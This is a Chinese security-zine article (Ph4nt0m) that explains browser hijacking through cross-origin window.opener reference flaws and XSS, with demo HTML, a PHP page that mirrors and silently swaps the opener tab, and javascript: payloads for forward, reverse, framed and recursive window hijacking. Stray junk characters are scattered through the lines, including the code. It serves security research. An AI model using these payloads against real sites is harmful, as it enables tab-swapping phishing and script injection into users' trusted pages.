==Ph4nt0m Security Team==
2 I+ p3 n, i$ B$ V" S R
) i$ p/ Q' \: H* r' S; u6 W Issue 0x03, Phile #0x05 of 0x07/ V8 C' r+ t6 L* g9 l4 ?5 p
( H2 O" Y1 S( r1 z$ D5 f
+ Q5 C: E- v) C9 P4 X j; K* ~5 `
|=---------------------------------------------------------------------------=|/ D+ K2 b2 [1 ^7 Z; A$ ]+ L
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|7 J$ x4 i5 B; d8 K9 L
|=---------------------------------------------------------------------------=|
& h$ F% T: Y% R8 _6 T|=---------------------------------------------------------------------------=|
' m$ ~) ?0 y! H: L- q u|=------------------------=[ By rayh4c ]=---------------------------=|' s4 x% Z e" a: @( H- z
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
/ l4 s- a& \5 t7 w|=---------------------------------------------------------------------------=|! ^7 d. x5 ]- I/ F0 T
1 u. q+ [+ p$ s/ h! \+ y( W4 F% F7 ^. v) R
[目录]
; t3 @7 f& p3 c) Y( K
# n9 t; s+ @& ]! |! B: I8 f1. 前言
3 o$ Y1 L: q) p! L+ U2. 同源策略简叙
$ [1 |& w0 A) s, @1 M+ G2 ?3 T3. 理解window对象的同源策略
, B) [0 D; E6 f' T4. 窗口引用功能中的同源策略漏洞
3 Y3 E6 r0 Z j: R) u* T 4.1 父窗口引用子窗口的同源策略问题. K! f# i9 i6 R7 F# O
4.2 子窗口引用父窗口的同源策略问题
7 [* p# {# L: ~, ]5. 利用窗口引用漏洞劫持浏览器
. h+ K% c0 ^ G# h6. 利用XSS漏洞劫持浏览器
3 i2 I2 ~# ?7 E) ~ 6.1 正向跨窗口劫持
! ?2 V$ ]# D% { 6.2 反向跨窗口劫持" _1 S. e1 ~, n- ^8 [2 ]
6.3 极度危险的跨框架窗口引用劫持/ P& a/ q% P( v4 ~. S
6.4 极度危险的正反向跨窗口递归劫持$ J4 ~7 J2 c C; m5 x2 Q1 \* N8 U
6.5 完全控制浏览器
1 W# p! b7 y- z+ B7. 后记
: h; ^! Q3 u: P4 k8. 参考
9 F4 L3 B9 r7 I" z
$ t2 D5 ]+ X# n0 l" Y5 r9 o2 x
; D4 G$ G+ Z: `0 T' n+ F; L一、前言; k# l/ f* S" h$ k- J
: W& R! J- Y0 T1 _8 q 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋 x& d3 B5 Q/ h5 {" _
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
O) Q: F0 v0 U/ M: r* }劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被5 \4 V% H/ }, F2 w* o" v2 w
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。. F" H j+ o, ]; {( d; H% b
5 {. Q1 s% l* _
2 j$ Z8 J7 A8 X二、同源策略简叙
$ S, m& Y* o/ L ~9 W! P
) Z8 g; z* e) |/ C' R+ ] 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
- E* u$ ?' p2 @7 D( w2 O, g- y* ~从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都# _8 m' E2 d, P! R
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
% x, P% C+ x3 x4 S' Z" {& c马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
6 [$ b) S8 O' r' [/ x. F9 t4 d漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
4 I2 c3 e2 t5 a5 j0 x# A2 j e$ |6 {$ j
1 Z# U# M; C5 A4 Y+ P/ L
三、理解window对象的同源策略% a6 _. R2 K8 E/ [+ r
9 o' {5 t# q3 n a( L+ Z5 ]$ E5 V
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
( r i: [' @' z$ A6 f4 X7 }象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
5 @" A8 }* U* o- m% N
/ Y& [, d. T' c( ^! y1 y--code-------------------------------------------------------------------------) N! e& _, L+ {
<script language="javascript">
8 E" `9 C+ W2 q+ Z2 Y3 `! yfor(p in window) document.write(p+"<br>");0 q0 p# {3 f" P) w) K5 ~: w7 H
</script>0 E3 Y% v7 W% {6 T$ y
-------------------------------------------------------------------------------8 b- ]0 r, [* @0 ]! ~# f X
( s. r0 I+ d! E& G4 B1 l 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
3 t/ A# x( s: ?: @. n+ l$ N# L. |法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,& r( x; Q4 J ]! R g5 M
这些属性和方法就必须遵循同源策略。
) l4 F: `+ Y: ^+ z! k4 h
% {# ?0 `; ^! ~2 M5 S+ H 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
% d1 x. O/ k" K' a8 T么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须& j" Z' x7 C- l
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
5 @, P+ l& N7 @+ O( B( J个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
; U4 ~: V# m& u7 [- G5 q值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
5 X8 i/ _; B1 b3 u6 _- a属性并没有被拒绝访问。, S$ O" j% I: V0 G6 ]" e
: }% A5 o! V: |: u5 Y--demo.html--------------------------------------------------------------------4 D) U# ~; e) T8 n: e, ~3 P
<script language="javascript">
% a4 n; T2 H( `: R# sfunction allPrpos(obj) { 6 @- i+ H: R7 d+ m( |- {$ r
var props = "<table><tr><td>名称</td><td>值</td>";
8 E* p' L( ]2 r/ f, L6 u ?* O3 o for(var p in obj){ * w# Y9 {5 B! z
if(typeof(obj[p])=="function"){ A& y6 U% E8 s; z$ ^" ~) d
obj[p]();
: W2 G' P/ c/ n }else{
* a' a5 d# N- ~4 c/ K: w try * D$ b* X- |* [' q
{ 9 ?7 t) M1 Y' t
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
' y4 M' A; } S* C) o }
7 W8 A. |* ^4 B1 z3 X catch (ex)
4 l; H( \8 B7 E2 ` {
2 q- X4 {' K" u1 z1 l$ V
# f' a' e3 z$ U* Q+ N4 G0 ~6 I9 i' `4 t- i props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
% T* ^6 ]5 g# W3 K; E } , @1 K8 P7 I4 j# f
% x+ o5 E! @- W& N# _3 M6 f! k } " F/ {* N+ C9 i3 o! S' }
} & G. V+ u6 Y8 s9 _3 y! ]1 j5 T% l
: e7 x1 i& D! Q2 r( h4 P
document.write(props+"</table>"); 0 n9 j1 A4 J+ f, O# |
}
@, [9 R6 b0 R* |, E/ H
5 C5 C- P$ [3 V: Qfunction createWin() {8 m# {9 w6 R; q: y2 L: B, T
newWin = window.open ("http://www.google.com"); z. E% c+ P9 F( Z9 D
setTimeout(function(){allPrpos(newWin)},2000);
8 |- a* g# r$ g: m- p+ Q% c}
4 M! v* L: @8 H0 _- S- r- W7 S
1 g( I0 _& ^4 `</script>
0 ^6 s+ f2 e4 B$ D0 A8 [/ U
6 j+ [) S" A2 `<button onclick='createWin()'>创建一个非同源子窗口测试</button>9 K/ d8 |6 n/ r- m
-------------------------------------------------------------------------------
) v' A2 V. N q5 }5 Y8 P8 X9 `" R. d
2 x" T% e0 A* I# ]; y1 S( W四、窗口引用功能中的同源策略漏洞
; r: L8 b* ^1 @* D
9 U, a& e( r. ~- S/ T' a$ r4.1 父窗口引用子窗口的同源策略问题0 b. z6 l' Y. _ i' c+ m* ~2 `
* N' B5 C& j# Q. |
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复, @0 ~8 \4 `/ ~
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
3 H. }3 L$ r) }; E! p浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进# s1 a0 M- z: T; ]: H1 H
行测试,会发现父窗口可以控制非同源子窗口location属性值。
1 t5 b) H$ n; \1 u: a0 a8 x9 h0 I
# B5 q% z( j. `' m--vul1.html--------------------------------------------------------------------9 O* Y3 N+ B( ^
<script language="javascript">
: V l# A3 v7 B3 ]function createWin() {
* a. [0 ]) O2 y, }* U newWin = window.open ("http://www.google.com"); 8 r4 O) v1 L6 I1 z j5 Q) R
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
4 \0 z2 s( ^. {8 p2 k1 E} 9 R! a5 {* A( s( N6 ?1 I- [
</script>
+ {/ R- K1 O4 e7 c7 r; A# b
# j! O: H1 ?8 X$ ^<button onclick='createWin()'>创建一个非同源子窗口测试</button>
W1 i; S5 l7 a7 }-------------------------------------------------------------------------------
( d, H: Q3 y* N. C( r/ J/ z1 z6 j
9 h Y! H3 K& F: x* I, N. t5 d7 `
0 P( N& h' E" y/ f, k4.2 子窗口引用父窗口的同源策略问题
' W4 o9 k/ e2 q1 a9 Y9 a
6 e# `0 ^2 L4 K% L 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使 [) |! `1 O+ F! \/ O
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们5 z& e- U4 i, {- r( E$ f8 ?
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
8 o" e' v7 r' e" M1 u# a会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
! w: O2 R' k, B/ B$ h" d( |* z* |! l
--code-------------------------------------------------------------------------
* x$ q9 P( N4 h; _8 u! q) J3 O& a* q
javascript:window.opener.location = "http://www.80sec.com";void(0);
' ?' N' _2 ^- ?, s+ S4 T
# |1 J d( C% I$ }. g-------------------------------------------------------------------------------
/ H8 R0 S9 u( C2 Y4 H5 j: e7 R `$ j" V4 d
2 x6 l9 |6 S& T7 q& Q& Y3 X
五、利用窗口引用漏洞劫持浏览器
# R8 m; u, y1 ]' N4 P R4 x+ R: _1 w6 d7 V' ], z
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子# D: j9 F; M, M& V Q
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那" f) v3 t6 M6 ]3 e9 ?; {
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。- G. u6 w1 L' L) I3 w$ g/ w( H
8 p8 K. u. e* i0 w% a2 C. ? 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
7 N* i4 M9 P" U! n" g7 U; N7 m生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或- j9 Y1 N$ x. A1 I! R, @+ r% B1 E
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接7 |1 e3 g& G9 T* g2 v1 g
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下4 F: H" X0 t0 X- c
会产生什么可怕的后果。4 _1 u, b9 X) V$ M6 B( `
/ Q* X# l& Q5 O) F- s7 l 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我2 ]% F3 m4 g' q/ q5 m1 s: I- C" Q @
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php* }2 l2 h( d% x6 v! `' O# y
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时* [% F" l) X- ~8 D" Z* \# o
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可0 l- D# L( T% z5 E( Z
以做更多的事情,所有的一切仅仅是因为点击了一个链接。) l# O1 X) [# v4 m; _
6 B7 ~! n4 M1 P( u$ P6 s/ e! ]--hjk_ref.php------------------------------------------------------------------, G2 `& [* Q9 F9 S. ~9 U( W, C# A
<?php6 ?- E, b" L! X7 d3 \0 t9 x
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
7 j7 J, I1 q+ |9 M$ l$Url_Mirror = $_SERVER["HTTP_REFERER"];
/ V. R+ V% T& S}
1 d6 b1 T, H0 B8 C5 T3 S8 [/ O/ y0 e2 Vif(isset ($_GET['ref'])) {. Z) s+ V; {- r
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
% O, F6 ~! W2 Y! V, O} F" k h8 @6 E; {! U
?>9 A' s7 V" B7 L4 T: t
- N1 S/ R$ Q/ i
<script language="javascript">5 @. y' v/ j3 j3 M/ y
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
" \6 @" q) E" o</script>( @: z% y2 y7 z) V" N
-------------------------------------------------------------------------------/ Z/ K0 ~0 \4 M- J# K0 h; U& y
; Y: M- K+ f6 i% f% ]
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
7 O8 }3 h$ V g% ^% ~" ~( }; c$ t( y( l
% |& w0 |) b) b4 _# Z4 H六、利用XSS漏洞劫持浏览器
& q0 u3 i( e( O1 J$ z: h7 o# |+ G9 j5 H5 p
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为, p' ~& |. M, t5 b6 e7 _
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
^* e) g! M& b# |6 j% e3 p. UXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起8 _1 q U1 Y7 b4 b: h( C; z6 V. n. i
讨论跨站师的终极技巧:/ w9 i. [$ C9 A
. L8 v0 c$ z6 @) Q: o+ ]& j3 Z# X: ~3 o; ]
6.1 正向跨窗口劫持
- E9 S$ `" ^7 E7 Y* D
, n- G q; ]- F8 M) z R 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛2 V. u' g5 w5 [% `/ ^& n5 i9 I
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链: I! S. _; p) h$ x$ {% T* A
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话! a5 \) Y1 P' h' H7 W
框脚本。
8 F. S$ y, u* S/ z. p( N$ i' h) m9 L$ y
--hijack_open.js---------------------------------------------------------------
. v% Y; r" E. u; g9 f# g7 m' T: K6 k1 x, D# w1 D
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);$ H) L7 j) `: `. Q5 q! T' a
, L& w k5 r9 Q$ g2 R
-------------------------------------------------------------------------------
3 Q# ?4 |8 D! c: C9 F; `, W
( ~, G2 q9 i+ e8 p, @ z
2 h6 X4 x8 S9 Y$ Z$ J# E3 v6.2 反向跨窗口劫持, B: \: V' U- R! B3 ?- Z/ P
! M, Q+ k2 x4 w- j+ W5 ]
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
8 U8 E4 D$ G& s7 T码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话7 b* w. Q/ L% d" b7 N$ k+ I
框脚本。: d5 q0 C# J/ Y' V
2 r8 c3 F l( k/ M9 y; }--hijack_opener.js-------------------------------------------------------------. V0 P9 z; }* y4 i7 Z+ \5 Q0 r7 y
2 Q4 L6 v! X% ]7 ]javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);* g+ {$ e8 u# |; A
9 `3 n" k0 c( K% j. c
-------------------------------------------------------------------------------
$ c* L/ t6 _' O4 I+ v5 d5 w$ v* L: A; _" I8 Y' y, |& _' X
6 d, H% A- } Z) d0 L: ?% l6.3 极度危险的跨框架窗口引用劫持
8 |& P9 ^1 O8 R" T# f1 D$ A+ x G) F1 m( `' g8 } E- u
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
. Z: H1 J8 `" b/ l' v% A, y9 N可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
: K, [" \- D! x* {/ K4 p, l& x适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个/ q$ j( B: _7 h/ \$ R+ b% s: t+ w3 g
非持久型的XSS,如下:7 f8 k( r9 X: ]/ _7 T
3 n5 g2 G" \$ H' c, s
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>6 x* ?& W& E7 o9 \: ^$ n9 [/ G. A1 G
r$ X, x9 O2 Q! f, [ 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口+ H5 k; R! z1 Z- _! F
注入脚本。& @9 a+ O& P% `& L* Q
Y$ v, O p& F9 q
--hijack_frame_opener.js-------------------------------------------------------
$ r! \6 j* `5 X/ N- H<script>- y1 U# Y6 C7 W2 T4 Q4 \
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";5 _: g9 f, S* e9 C; l
</script>
: ]8 r3 q2 P0 f8 z/ S- I# i7 o-------------------------------------------------------------------------------
& O5 g2 J& q% G8 y; G. v/ @$ Q+ O: u0 {3 H T2 T' X
f: F. V. Y9 }" H2 x6.4 极度危险的正反向跨窗口递归劫持" U3 f; l" ~# _
( q. g' Q" a) u+ m
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window3 E* p- P6 M; F3 ]' x9 X
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过7 x& p, L5 J& X# W% r2 P: M
异常处理规避之间跨域页面的访问异常,代码如下:7 H# n+ |1 R/ C
2 ]+ X2 L9 Y+ H" L& K: r+ T--code-------------------------------------------------------------------------9 w2 [6 F: a8 z( e8 Q% F
% Z. S7 W0 m/ f. V3 B
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);. ?+ k2 u. q2 _/ x" x4 }( C3 C! d7 P% o7 g
# s) `9 b* t# z
-------------------------------------------------------------------------------; N: f" w- e, t
~7 A5 ]8 U ^2 M( [0 F4 d 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
+ W: ?4 b& e. e( @! T* k以劫持B域之前的A域页面,从而实现“隔空打击”。3 j+ V$ ]6 s# e; S9 k5 u0 K
" Z5 S3 S( p2 ?4 \; _$ K 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
' P) T# D# K1 w. R# [! m# B. H执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。( d" j0 \4 \! G% e% u; l% @) D
5 ]0 z5 k5 G( F/ x+ B* J
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
+ v H" t d d% F3 O8 D- w
6 W( M2 F& u8 n! L9 K1 F! F4 ~5 R! S+ r) O2 A1 K6 ?' ^6 g! P
6.5 完全控制浏览器# m+ l' A! m% I; B6 T/ X: V- h
2 t4 b/ f$ j* y6 Y% l
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则$ j. G% x. H3 C( C
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
! j$ K+ L3 R1 r) ?漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
5 Y! N2 Z) \/ X而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
* k% `" f& d& \& F: V列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
$ [% ?2 n) K* C师的终极目标 - 完全控制浏览器。% ?2 O/ `- B3 F1 B0 F1 N u
8 [ n( B, f& _
, H) ^, S+ C3 \6 z: d
七、后记4 A5 ]7 x6 I0 R$ w- E
6 D, N4 @7 Z; y/ C5 g$ ^( G
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全4 r" a) \" V3 q/ z
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予4 F2 i$ F' }+ T3 i, Y, T# l
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
8 ~( S( x ?, U3 U+ C& A, G4 L" {$ S" \" [" p3 Z9 }8 m9 o
* F# u" ^5 ]/ d; F6 R: `
八、参考) { K, S' |% V8 P! s
; D* \4 R& P3 l9 `3 S' g. x9 _
1. http://en.wikipedia.org/wiki/Same_origin_policy4 N! `$ X4 Q, e" U) ?. z* ^; j
2. http://code.google.com/p/browser ... licy_for_DOM_access; Y3 E, l1 P) j: U& a2 f8 A; F
3. http://www.w3.org/TR/Window/! H1 i, |- m; }4 j& E0 k
4. http://www.80sec.com/release/browser-hijacking.txt
7 N1 z3 n$ ~$ B) U/ H5 @5. http://www.80sec.com/all-browser-security-alert.html
& ~6 j- S6 u$ q6 R, C4 G* H* \6. http://www.80sec.com/ms08-058-attacks-google.html
6 l* w6 g: ]' g9 A8 I
) Z0 m& _3 T/ J4 j2 O/ [; ^2 r-EOF- |